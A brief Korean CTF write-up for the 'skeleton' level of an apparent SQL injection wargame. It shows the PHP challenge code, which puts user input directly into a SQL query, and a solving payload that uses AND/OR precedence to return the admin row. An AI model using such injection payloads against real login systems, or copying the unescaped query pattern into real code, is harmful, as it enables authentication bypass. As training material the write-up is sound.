[LOS] SKELETON

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

 

연산자의 순서를 생각하며 풀어주면 된다.

 

연산자 우선순위 

AND > OR

 

query : select id from prob_skeleton where id='guest' and pw='a' or id='admin' or '1' and 1=0

 

->

(id = 'guest' and pw = 'a') or id='admin' or ('1' and 1=0)

And 연산자가 두개 이상일 때 앞에꺼 먼저 하던 뒤에꺼 먼저 하던 순서 상관없음. 편한대로.

->

(False) or id='admin' or (False)

->

id='admin'